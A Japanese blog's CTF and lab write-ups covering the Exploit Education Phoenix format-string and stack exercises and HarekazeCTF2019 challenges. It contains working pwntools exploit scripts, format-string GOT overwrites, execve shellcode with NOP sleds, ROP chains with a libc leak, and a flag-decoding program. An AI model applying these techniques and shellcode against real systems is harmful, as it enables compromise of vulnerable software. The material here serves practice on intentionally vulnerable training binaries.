眠いので寝ます

お勉強のメモを置いていこうと思いまふ

Exploit Education Phoenix-Format編

前回の続きで、今回はFormat編

環境はサイトにあるqemu環境を持ってきた。format編は全て64bit環境で実行した。バイナリは/opt/phoenix/amd64下にある。

Format-Zero

fgetsでbuffernにサイズ分入力を受け取り、その後locals.destにbufferの内容をsprintfしてあげる。
ここにオーバーフローなどは無く、stack上でlocals.destの下に配置されているlocals.changemeを書き換えるのが目標なので、bufferをsprintfした時に33文字以上をlocals.destに書き込めれば良い。
改行も含めて"%32x\n"をbufferに書き込めば、changemeには0xaが書き込まれることになる。もちろん32以上であればなんでもいいし、format識別子もxじゃなくてもよい。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero 
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%31x
Uh oh, 'changeme' has not yet been changed. Would you like to try again?

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero 
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%32x
Well done, the 'changeme' variable has been changed!

Format-One

Format-Zeroとほとんど一緒で、locals.changemeの書き換える内容を指定されているだけ。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
hoge
Uh oh, 'changeme' is not the magic value, it is 0x00000000

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32xAABB
Uh oh, 'changeme' is not the magic value, it is 0x42424141

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32xlOvE
Well done, the 'changeme' variable has been changed correctly!

Format-Two

main関数のargv[1]をstrncpyで変数bufferにコピーする。その後printf(buffer)をするのでここにFSB脆弱性がある。
目標はchangemeを書き換えること。ここで初めてFSBといえばお馴染みの%n識別子を使用する。%nについて知らない方はハリネズミ本などを参照していただきたい。ブログだとptr-yudai氏のブログなどがわかりやすい。bufのオフセットは12だが、なぜか%12$nのような表記が使えない。なので大人しく%xを並べる。changemeのアドレスは0x600af0である。またFSBで最初にやる間違い(少なくとも自分はよくミスっていた)として、payloadをchangemeのアドレス+"%12$n"のようにしてしまうことがあるが、changemeのアドレスは8byteで表すと必ずnull byteを含んでしまうので、肝心のprintfで"%12$n"まで出力されない。なので書き込みたいアドレスは最後にくっつけるように注意。

#format-two.py
from pwn import *

argv1 = "%x"*15
argv1 += "%n"
argv1 += p32(0x600af0)

p = process(['/opt/phoenix/amd64/format-two', argv1])
p.interactive()

64bitバイナリだが、p64()を使うとargvにnullバイトが連続するみたいな事で怒られたので、payloadの最後にchangemeのアドレスを置いてやる。そのためオフセットはずれて16になる。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-two AAAA
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAABetter luck next time!

user@phoenix-amd64:~/workspace$ python format-two.py 
[+] Starting local process '/opt/phoenix/amd64/format-two': pid 18254
[*] Switching to interactive mode
[*] Process '/opt/phoenix/amd64/format-two' stopped with exit code 0 (pid 18254)
Welcome to phoenix/format-two, brought to you by https://exploit.education
0d0ffffe573ffffe50fffffe550ffffe550ffffe650400705ffffe6a840036878257825782578257825782578257825?
`Well done, the 'changeme' variable has been changed correctly!

Format-Three

read()で入力を読み込み、それをprintf()する。先ほど違うのは入力をread()で行なっている点とchangemeを書き換える内容が指定されているという点。%12$xなどの表記があいも変わらずできないので、コードはとても読みにくくなっている。FSBについてしっかり理解ができていれば、特に難しいこともないかと。僕のpayloadではchangemeにword(2byte)単位で書き込んでいる。過去に出題されたCTFでは出力できる文字数に制限があったりしたので%hn,%hhnを使っても書けるようにしておきたい。またbruteforceが必要な場面でも一回の攻撃にかかる時間が、より細かい単位で書き込めた方が短いので、そういう時にも役に立つ。

#format-three.py
from pwn import *

changeme = 0x600a90
offset = 12
padding = 20
target = 0x64457845
p = process(['/opt/phoenix/amd64/format-three'])

payload = "%20x"*(padding+offset-2)
payload += "%" +str(0x6445-20*(padding+offset-2))+ "x"
payload += "%hn"
payload += "%" +str(0x7845-0x6445)+ "x"
payload += "%hn"
payload += "A"*(8*padding - len(payload))
payload += p64(changeme+2)
payload += "A"*8
payload += p64(changeme)

p.recv()
p.sendline(payload)
p.interactive()

長いので出力はカット

Format-Four

format編も最後。
format-three同様にread()で読み込んだ値をprintfする。目標はソースコードに書かれたcongratulations()を呼ぶこと。
printf()の後にexit()が呼ばれてバイナリが終了するので、書き換え先はexit()のgotが良さそう。ただcongratulations()内でもexit()を読んでいるので、成功した場合はループする。

#format-four.py
from pwn import *

offset = 12
padding = 50
cong = 0x400644
got_exit = 0x6009f0
p = process(['/opt/phoenix/amd64/format-four'])

payload = "%90x"*(offset-1 + padding-1)
payload += "%" + str(0x10644- 90*(offset-1+padding-1)) + "x"
payload += "%hn"
payload += "%" + str(0x10040-0x644) + "x"
payload += "%hn"
payload += "%" + str(0x10000-0x40) + "x"
payload += "%hn%hn"
payload += "B"*(padding*8 - len(payload))
payload += p64(got_exit)
payload += "A"*8
payload += p64(got_exit+2)
payload += "A"*8
payload += p64(got_exit+4)
payload += p64(got_exit+6)

p.recv()
p.sendline(payload)
p.interactive()

まとめ

これにてfsbはおしまい
%12$xのような記法が使えないのは環境、libcの影響なんだろうか
次回はHeap編

Exploit Education Phoenix-Stack編

きっかけはこの動画を見ていたところ、

youtu.be

例に使用していたプログラムが乗っているサイトがちらっと見えて、気になったのでアクセスすると、何やら面白そうなサイトだった 。(現在はリニューアルしていて動画で見たものとは若干異なる)

exploit.education

少し覗いてみると簡単なstack over flowから始まり、kernel exploit入門的なものもある。ググっても日本語のwriteupが見当たらなかったので、一応記事にして見る。

環境は一式ダウンロードできて、自分はqemuを使った。シェルスクリプトを走らせるだけだが、一応参考にしたサイトを載せる

http://www.iet.unipi.it/p.perazzo/teaching/cybsec/LAB.01.Phoenix_setup.pdf

今回はstack編を書いていこうと思う。
実行バイナリは64bitの物を使用した。qemu環境で/opt/phoenix/amd64下にある。
ソースコードはサイトにあるのでそちらを参照していただきたい。

* もくじ

Stack-Zero

bufferにgetsで文字を入力する。目標はメモリアドレス上でlocals.bufferの下に配置されている変数locals.changemeを書き換えること。
ソースを見る通りbufのサイズは64byteなので、64文字以上入力することでBOF(Buffer Over Flow)が起こったことが確認できる。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-zero 
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
hoge    
Uh oh, 'changeme' has not yet been changed. Would you like to try again?

user@phoenix-amd64:~/workspace$ perl -e 'print "A"x65' | /opt/phoenix/amd64/stack-zero 
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!

Stack-One

main関数のargv[1]をlocals.bufferにstrcpyするようなコード。先ほどと同様locals.changemeを書き換えることが目標。
stack-zeroに加えてlocals.changemeを0x496c5962に上書きする必要がある。ここでこの環境にすでにpwntoolがインストールされていることに気がついたので利用する。pwntoolsを使わなくてもchangemeを上書きする値がascii印字可能文字のみなので64文字の後に"bYlI"を付け足してもできる。

#stack-one.py
from pwn import *

argv1 = "A"*64
argv1 += p32(0x496c5962)
p = process(['/opt/phoenix/amd64/stack-one', argv1])
p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one 
Welcome to phoenix/stack-one, brought to you by https://exploit.education
stack-one: specify an argument, to be copied into the "buffer"

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one hogehuga
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x00000000, we want 0x496c5962

user@phoenix-amd64:~/workspace$ python stack-one.py 
[+] Starting local process '/opt/phoenix/amd64/stack-one': pid 343
[*] Switching to interactive mode
[*] Process '/opt/phoenix/amd64/stack-one' stopped with exit code 0 (pid 343)
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value

Stack-Two

環境変数ExploitEducationをgetenv()して、その変数をlocals.bufferにstrcpy()する。目標は同様、locals.changemeを指定された値に上書きすること。locals.changemeを上書きしたい値が改行文字などを含んでいるため、これもpython環境変数を設定させる。

#stack-two.py
from pwn import *

env1 = "A"*64 + "\x0a\x09\x0a\x0d"
p = process(['/opt/phoenix/amd64/stack-two'], env={'ExploitEducation':env1})
p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
stack-two: please set the ExploitEducation environment variable

user@phoenix-amd64:~/workspace$ ExploitEducation=1 /opt/phoenix/amd64/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Almost! changeme is currently 0x00000000, we want 0x0d0a090a

user@phoenix-amd64:~/workspace$ python stack-two.py 
[+] Starting local process '/opt/phoenix/amd64/stack-two': pid 397
[*] Switching to interactive mode
[*] Process '/opt/phoenix/amd64/stack-two' stopped with exit code 0 (pid 397)
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[*] Got EOF while reading in interactive

Stack-Three

locals.bufferに直接gets()をする。gets()後メモリアドレス上でlocals.bufferの下にあるlocals.fpという関数ポインタの値にジャンプするのでfpをこれまたBOFで書き換える。ソースコードにはそれらしき関数complete_levelがあるので、fpをこの関数の先頭番地に書き換える。

user@phoenix-amd64:~/workspace$ objdump -d -M intel /opt/phoenix/amd64/stack-three |grep complete_level
000000000040069d <complete_level>:

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-three 
Welcome to phoenix/stack-three, brought to you by https://exploit.education
hoge
function pointer remains unmodified :~( better luck next time!

user@phoenix-amd64:~/workspace$ perl -e 'print "A"x64 . "\x9d\x06\x40" ' | /opt/phoenix/amd64/stack-three 
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!

Stack-Four

start_level関数内でgets()が呼ばれている。目標はstart_level関数のreturn先のアドレスを書き換えること。stack-threeと似ているが、threeは明示されている変数の値を書き換えるのに対して、こちらはstackに積まれたreturnアドレスを書き換えるというもの。後者の方がよりCTFで出題されるように思える。
ここで見たことのない__builtin_return_address(0)が呼ばれている。直接は関係ないがどうのような関数なのだろうか、とりあえず実行する。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
hoge
and will be returning to 0x40068d

おそらく出力されている0x40068dはstart_level関数が終了した時のret_addrである。調べて見ると__builtin_return_addres()はその名の通りreturn addressを返してくれる関数のようだ。引数によっては、より下に積まれているreturn addressも調べることができる。(アーキテクチャ依存らしいが)

syohex.hatenablog.com

objdumpからもmain関数の中のstart_level関数の呼び出し後の番地が出力されているのがわかる。

$objdump -d -M intel /opt/phoenix/amd64/stack-four
...
...
000000000040061d <complete_level>:
  40061d:	55                   	push   rbp
  40061e:	48 89 e5             	mov    rbp,rsp
  400621:	bf f0 06 40 00       	mov    edi,0x4006f0
  400626:	e8 55 fe ff ff       	call   400480 <puts@plt>
  40062b:	bf 00 00 00 00       	mov    edi,0x0
  400630:	e8 5b fe ff ff       	call   400490 <exit@plt>

0000000000400635 <start_level>:
  400635:	55                   	push   rbp
  400636:	48 89 e5             	mov    rbp,rsp
  400639:	48 83 ec 50          	sub    rsp,0x50
  40063d:	48 8d 45 b0          	lea    rax,[rbp-0x50]
  400641:	48 89 c7             	mov    rdi,rax
  400644:	e8 27 fe ff ff       	call   400470 <gets@plt>
  400649:	48 8b 45 08          	mov    rax,QWORD PTR [rbp+0x8]
  40064d:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  400651:	48 8b 45 f8          	mov    rax,QWORD PTR [rbp-0x8]
  400655:	48 89 c6             	mov    rsi,rax
  400658:	bf 33 07 40 00       	mov    edi,0x400733
  40065d:	b8 00 00 00 00       	mov    eax,0x0
  400662:	e8 f9 fd ff ff       	call   400460 <printf@plt>
  400667:	90                   	nop
  400668:	c9                   	leave  
  400669:	c3                   	ret    

000000000040066a <main>:
  40066a:	55                   	push   rbp
  40066b:	48 89 e5             	mov    rbp,rsp
  40066e:	48 83 ec 10          	sub    rsp,0x10
  400672:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
  400675:	48 89 75 f0          	mov    QWORD PTR [rbp-0x10],rsi
  400679:	bf 50 07 40 00       	mov    edi,0x400750
  40067e:	e8 fd fd ff ff       	call   400480 <puts@plt>
  400683:	b8 00 00 00 00       	mov    eax,0x0
  400688:	e8 a8 ff ff ff       	call   400635 <start_level>
  40068d:	b8 00 00 00 00       	mov    eax,0x0
  400692:	c9                   	leave  
  400693:	c3                   	ret    
  400694:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40069b:	00 00 00 
  40069e:	66 90                	xchg   ax,ax
...
...

bufのアドレスは ebp-0x50 からのようなので0x50+8文字分のpayload+complete_level関数のアドレスを入力する

user@phoenix-amd64:~/workspace$ perl -e 'print "A"x88 . "\x1d\x06\x40"' | /opt/phoenix/amd64/stack-four 
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!

Stack-Five

Fiveは呼び出す目的の関数などがなくexecve("/bin/sh",...,...)を立ち上げることが目標のようだ。

脆弱性はgetsによるoverflow。方針はいくつか考えられるが、 用意されたqemuの環境だとデフォルトでASLRがオフであること、rpのようなガジェット検索ツールが未インストールであることから、今回はシェルコードをスタック上に置いて、スタック上のアドレスにripを飛ばす方針でやる。

CTFではASLRが有効なのが基本なので、32bitでbrute-forceをしない限りは、puts,getsは動的リンクされているので、libcのアドレスをリークしつつsystem("/bin/sh")をしたり、bss領域にシェルコードを書き込んで、そこに飛ばすのが良さそう。今回はパス。

と思ってexploitコードを書いたのだが、詰まる。

www.lucas-bader.com


自分は勘違いしていて、gdbで開いたバイナリはASLRがオフになっているのでstackのアドレスは変わらないと思っていたのだが、gdbで開くと複数の環境変数が追加で定義されて実行されるので、スタックのアドレスがずれるようだ。

reverseengineering.stackexchange.com

上の記事にあるような環境変数を出力するようなコード書いて、gdb上で動かすと、gdbでないときに比べて環境変数が色々追加されているのがわかる。

そこでどのくらいずれるのかを調べるためにコードを足して実行してみる。

#include <stdio.h>
int main(int argc, char **argv, char** envp)
{
	char** env;
	char* hello = "hello";
	for (env = envp; *env != 0; env++)
	{
		char* thisEnv = *env;
		printf("%s\n", thisEnv);	
	}
	printf("%s, addr: %p\n", hello, &hello);
}

これをコンパイル、実行してみると、gdbを通さない時の方がスタックのアドレスが0x60大きくなっている。
これをもとに、gdbで得たbufの先頭から0x60足した値に加えて、少しずれてもごまかせるように シェルコードにnopスレッドを追加した。

#stack-five.py
from pwn import *

p = process(['/opt/phoenix/amd64/stack-five'])

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
gdb_diff = 0x60
buf_ongdb = 0x7fffffffe5c0
buf_addr = buf_ongdb + gdb_diff 

nop_off = 0x30
bufsize = 0x80 + 0x8

payload = ""
payload += "\x90"*nop_off
payload += shellcode
payload += "\x90"*(bufsize - nop_off - len(shellcode))
payload += p64(buf_addr)

p.recvline()
p.sendline(payload)

p.interactive()

ちなみにnopスレッドの数が0x2f~0x53だとシェルコードが動いた。スレッドに下限があるのは分かるが(ripがシェルコードの途中に飛んではいけないため)上限があるのはよくわからない。nopスレッドは連続していくつまでなんて上限は聞いたことがないが、、

シェルコードはshellstromに上がっているものを使用した。
shell-storm.org

user@phoenix-amd64:~/workspace$ python stack-five.py 
[+] Starting local process '/opt/phoenix/amd64/stack-five': pid 20531
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)

ASLRが無効なら下調べしなくてもbruteforceでも良さそう。ASLRが無効なことはそうそうないが、実際数bitのbruteforceが必要となる問題も最近少なくない。

Stack-Six

stack編最後の問題。ここまでは解法はすぐ思いつくような問題ばかりだったが、この問題は少し解法を思いつくのに時間がかかった。
コードをみるとgreet関数の中のbufferのoverflowができそうである、bufferがどこから始まるか調べてみると[rbp-0xa0]から始まることがわかった。amd64環境だと、whatに格納されるGREETは34文字の文字列で、strncpyでコピーできるmaxの文字列は127文字。これを足しても161(0xa1)文字なのでreturnアドレスを書き換えることができなさそうである。ただstackに積んであるmain関数のrbpの下位1byteのみ書き換えることができる。
これを利用してどうにかできないか考えると、main関数ではgreet関数後はputsした後、leave retが続く。ここでうまくmainのrbpをいじってやればleaveでrspを飛ばしてかつ、retでripを取ることができそうである。そしてripをshellcodeがあるアドレスにすれば良さそうだ。

利用できそうな箇所を探すと、main関数のstackフレームにはptrという変数がrbp-0x8に格納されている。ptrにはgetenv("ExploitEducation")のreturnが入っているので、ExploitEducationという環境変数にshellcodeを仕込んでptrをretすればうまくshellcodeが実行されそうである。つまりgreet関数に跳ぶ際にpushしたmainのrbpの下位1byteを変えてmainのrbp-0x10に書き換えてしまえば、greet関数から帰ってきたあと、leave,retでptrの値がripにpopされる。

イメージ

(gdb) set env ExploitEducation=AAAABBBB
(gdb) b greet
(gdb) run
...

(gdb) x/30gx $rsp
0x7fffffffe560:	0x00007ffff7ffc948	0x0000000000000049
0x7fffffffe570:	0x00007fffffffe5ef	0x0000000000000001
0x7fffffffe580:	0x0000000000000049	0x00007ffff7ffb300
0x7fffffffe590:	0x0000000000000000	0x0000000000400878
0x7fffffffe5a0:	0x000000000040079b	0x0000000000000000
0x7fffffffe5b0:	0x0000000000000000	0x00007ffff7db6dde
0x7fffffffe5c0:	0x000000000040079b	0x026402d0005a0024
0x7fffffffe5d0:	0x0000000000000000	0x00007ffff7db6b1e
0x7fffffffe5e0:	0x00007ffff7ffb300	0x0a00000000000000
0x7fffffffe5f0:	0x00007fffffffe698	0x00007ffff7d8fe8f
0x7fffffffe600:	0x00007fffffffe698	0x00007fffffffe698
0x7fffffffe610:	0x00007fffffffe640	0x00000000004007e9
------------------------------------------------------------- ↑greet()のフレーム 
------------------------------------------------------------- ↓main()のフレーム
0x7fffffffe620:	0x00007fffffffe698	0x00000001ffffe6a8
0x7fffffffe630:	0x000000000040079b	0x00007fffffffef87
0x7fffffffe640:	0x0000000000000001	0x00007ffff7d8fd62

(gdb) x/s 0x7fffffffef87
0x7fffffffef87:	"AAAABBBB"

gdbで見てみるとこんな感じ。mainのrbpは0x7fffffffe640でrbp-0x8の中身は環境変数ExploitEducationのアドレスになってることも確認できる。先ほども述べたが、書き換えられるのは上のマップだと0x7fffffffe610の下位1byteのみなのでこれを0x30にしてあげればmainがrbp-0x8のアドレスにretする。

stack-fiveの通りgdb有り無しではスタックのアドレスがずれるので、exploitコードでは0から8byteずつ足してbruteforceを仕掛けた。

#stack-six.py
from pwn import *

#x64 shellcode 
shellcode = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

bufsize = 127
nopsled = 0x20
for i in range(0x0, 0xff, 8):
    payload = ""
    payload += "\x90"*nopsled
    payload += shellcode
    payload += "\x90"*(bufsize - nopsled - len(shellcode) - 1 )
    payload += chr(i)  # <- d648
    p = process(['/opt/phoenix/amd64/stack-six'], env={'ExploitEducation':payload})
    try:
        p.sendline("ls")
        print p.recvline()
    except:
        continue
    print hex(i)
    p.interactive()

qemu環境だと0x50の時にshellcodeが実行されている。ちなみにnopsledを入れているが必要ない。

まとめ

zero~fiveまではいわゆる自明なものでsixは気づくことができるかどうかって感じだった。難易度は高くはないが、入門には悪くないかと思う。
stack編はここまでで、次回
はFormat編をやろうと思う。
こういう問題集的なのを見ると端から埋めたくなってしまう性なので、本当は早くPhoenix(binary exploitの章)ではなくNebula(kernel exploitの章)をやりたいが、まあ復習にはいいや。

何か質問、ご指摘等あれば@kam1tsur3まで

HarekazeCTF2019 writeup

HarekazeCTF2019のwriteupを少し。

Rev

scramble (100pt)

バイナリファイルが配られる

$file scramble

scramble: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd3474e9169df7fc3a523390296856f9a2f07ca5, not stripped

gdb

gdb$pdisas main
   0x0000000000000680 <+0>:	push   rbx
   0x0000000000000681 <+1>:	lea    rsi,[rip+0x36c]        # 0x9f4
   0x0000000000000688 <+8>:	mov    edi,0x1
   0x000000000000068d <+13>:	sub    rsp,0x30
   0x0000000000000691 <+17>:	mov    rax,QWORD PTR fs:0x28
   0x000000000000069a <+26>:	mov    QWORD PTR [rsp+0x28],rax
   0x000000000000069f <+31>:	xor    eax,eax
   0x00000000000006a1 <+33>:	mov    rbx,rsp
   0x00000000000006a4 <+36>:	call   0x650 <__printf_chk@plt>
   0x00000000000006a9 <+41>:	lea    rdi,[rip+0x34d]        # 0x9fd
   0x00000000000006b0 <+48>:	mov    rsi,rbx
   0x00000000000006b3 <+51>:	xor    eax,eax
   0x00000000000006b5 <+53>:	call   0x660 <__isoc99_scanf@plt>
   0x00000000000006ba <+58>:	mov    rdi,rbx
   0x00000000000006bd <+61>:	call   0x860 <scramble>
   0x00000000000006c2 <+66>:	mov    rdx,QWORD PTR [rsp+0x8]
   0x00000000000006c7 <+71>:	mov    rax,QWORD PTR [rsp]
   0x00000000000006cb <+75>:	xor    rdx,QWORD PTR [rip+0x200956]        # 0x201028 <encrypted+8>
   0x00000000000006d2 <+82>:	xor    rax,QWORD PTR [rip+0x200947]        # 0x201020 <encrypted>
   0x00000000000006d9 <+89>:	or     rdx,rax
   0x00000000000006dc <+92>:	jne    0x6fb <main+123>
   0x00000000000006de <+94>:	mov    rdx,QWORD PTR [rsp+0x18]
   0x00000000000006e3 <+99>:	mov    rax,QWORD PTR [rsp+0x10]
   0x00000000000006e8 <+104>:	xor    rdx,QWORD PTR [rip+0x200949]        # 0x201038 <encrypted+24>
   0x00000000000006ef <+111>:	xor    rax,QWORD PTR [rip+0x20093a]        # 0x201030 <encrypted+16>
   0x00000000000006f6 <+118>:	or     rdx,rax
   0x00000000000006f9 <+121>:	je     0x71f <main+159>
   0x00000000000006fb <+123>:	lea    rdi,[rip+0x309]        # 0xa0b
   0x0000000000000702 <+130>:	call   0x630 <puts@plt>
   0x0000000000000707 <+135>:	xor    eax,eax
   0x0000000000000709 <+137>:	mov    rcx,QWORD PTR [rsp+0x28]
   0x000000000000070e <+142>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000000717 <+151>:	jne    0x745 <main+197>
   0x0000000000000719 <+153>:	add    rsp,0x30
   0x000000000000071d <+157>:	pop    rbx
   0x000000000000071e <+158>:	ret    
   0x000000000000071f <+159>:	mov    eax,DWORD PTR [rip+0x20091b]        # 0x201040 <encrypted+32>
   0x0000000000000725 <+165>:	cmp    DWORD PTR [rbx+0x20],eax
   0x0000000000000728 <+168>:	jne    0x6fb <main+123>
   0x000000000000072a <+170>:	movzx  eax,WORD PTR [rip+0x200913]        # 0x201044 <encrypted+36>
   0x0000000000000731 <+177>:	cmp    WORD PTR [rbx+0x24],ax
   0x0000000000000735 <+181>:	jne    0x6fb <main+123>
   0x0000000000000737 <+183>:	lea    rdi,[rip+0x2c4]        # 0xa02
   0x000000000000073e <+190>:	call   0x630 <puts@plt>
   0x0000000000000743 <+195>:	jmp    0x707 <main+135>
   0x0000000000000745 <+197>:	call   0x640 <__stack_chk_fail@plt>

scanf("%38s", )で38文字分の入力をscramble関数の引数に渡している。おそらくその関数がエンコードしてencryptedというシンボル名から始まるデータと何回かに分けて比較している。

方針としてはrevの100pt問題でそんなに難しくなさそうなので、angrでスクリプトを書いて見たが、まだangrがうまく使いこなせなく、解けず。仕方ないのでscramble関数を読んで見るが、レジスタも多用していて、かなり読みづらい。なのでghidraのデコンパイル機能を使って見ることに。少しghidraは触ったことがあったので良かった。

f:id:kam1tsur3:20190519183024p:plain

おそらくあまり参考にならない画像。てか参考にしないほうがいい。
変数の名前を自分で変えたりしたが、あまりデコンパイラ使って解析をしたことがなかったので、名前のつけ方がナンセンスすぎた。input[]などと配列っぽく名付けてしまったために、その値が動的に変化するものだと自分でも勘違いしてしまい、かなりデコードするコードを書くのに手間がかかった。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

char encrypted[38] = {0x1f, 0x7c, 0x2c, 0x46, 0x2f, 0x44, 0x02, 0x0e,
                      0x6c, 0x29, 0x2a, 0x73, 0x79, 0x31, 0x04, 0x1b,
                      0x50, 0x6e, 0x6b, 0x6e, 0x34, 0x3d, 0x27, 0x77,
                      0x7a, 0x6d, 0x58, 0x12, 0x39, 0x6c, 0x2f, 0x7f,
                      0x23, 0x0b, 0x2c, 0x5a, 0x77, 0x3d};
int table[1064/4];
int main(){
    int i;
   
    int fd = open("./scramble", O_RDONLY);
    if(fd < 0){
        printf("open error\n");
        exit(1);
    }

    lseek(fd, 0x1060, 0);
    for(i = 0; i < 1064/4; i++){
        tmp = 0;
        read(fd, &table[i], 4);
    }

    char flag1, flag2;
    unsigned int var2, var3;

    for(i = 0x10a-1; i >= 0;i-- ){
        var2 = 1 << (i%7);
        var3 = 1 << (table[i]%7);
        if(encrypted[table[i]/7] & var3)flag1 = 1;
        else
            flag1 = 0;
        if(encrypted[i/7] & var2)flag2 = 1;
        else flag2 = 0;

        if(flag1)
            encrypted[i/7] |= var2;
        else
            encrypted[i/7] &= ~var2;

        if(flag2)
            encrypted[table[i]/7] |= var3;
        else
            encrypted[table[i]/7] &= ~var3;
    }

    printf("%s\n", encrypted);
    return 0;
}

FLAG:HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}

Pwn

Baby ROP(100pt)

問題文
The program is running on Ubuntu 16.04.

静的解析

$file babyrop

babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped

$checksec.sh --file ./babyrop

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyrop

省略するがgdbで見るとbof脆弱性。問題バイナリ内にsystem関数のpltと/bin/shの文字列があったので、それを利用してropする。またrpでpop rdiのガジェットを探す。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "problem.harekaze.com"
PORT = 20001
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./babyrop')

bufsize = 0x10 + 8
system_plt = 0x400490
rdi_ret = 0x400683
binsh = 0x601048

payload = "A"*bufsize
payload += p64(rdi_ret)
payload += p64(binsh)
payload += p64(system_plt)

conn.recvuntil('name?')
conn.sendline(payload)

conn.interactive()

FLAG:HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}

Baby ROP2(200pt)

問題バイナリとlibcが配布される。

静的解析

$file babyrop2

babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped

$checksec.sh --file ./babyrop2

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./babyrop2

またしてもbof脆弱性。問題文の通り。しかし、先ほどと違ってsystem@pltはなく、/bin/shの文字列のバイナリ内にはない。

方針はprintf("%s", setvbuf@got)にreturnするように引数をセットして、libcのベースを求めつつ、その後main関数にreturnするようにする。
二回目のmain関数で求めたlibcのベースから計算したsystemのアドレスとlibc内の/bin/shのアドレスを使用してsystem("/bin/sh")を呼び出す

コードとても汚くて、一連の流れを関数にしてやったほうがいいとは思ったんだが、そんなに長くもならそうなので愚直に書いた。許してください。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'
		
HOST = "problem.harekaze.com"
PORT = 20005 
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./babyrop2')

printf_plt = 0x4004f0
setvbuf_got = 0x601030
main_addr = 0x400636

buf_size = 0x20+8

#in libc.so.6
binsh_off = 0x18cd57
system_off = 0x45390 
setvbuf_off = 0x6fe70

rdi_ret = 0x400733
rsi_r15_ret = 0x400731

ps = 0x400770 # strings including "%s"

payload = "A"*buf_size
payload += p64(rdi_ret)
payload += p64(ps)
payload += p64(rsi_r15_ret)
payload += p64(setvbuf_got)
payload += p64(0)
payload += p64(printf_plt)
payload += p64(main_addr)

conn.recvuntil('name? ')
conn.sendline(payload)
conn.recvline()
info = conn.recvline()
setvbuf_libc = info.split(", ")[1].split("!")[0]

setvbuf_libc = u64(setvbuf_libc + "\x00"*(8-len(setvbuf_libc)))
libc_base = setvbuf_libc - setvbuf_off
system_libc = libc_base + system_off
binsh_libc = libc_base + binsh_off

conn.recvuntil('name? ')
payload = "A"*buf_size
payload += p64(rdi_ret)
payload += p64(binsh_libc)
payload += p64(system_libc)

conn.sendline(payload)

conn.interactive()

FLAG:HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}

ん、use bss segmentか。他の回答としてはread関数にreturnしてbss領域の固定番地に/bin/shを書き込んでそれを使うってのもありそう。まああんまり変わらないけど。

まとめ

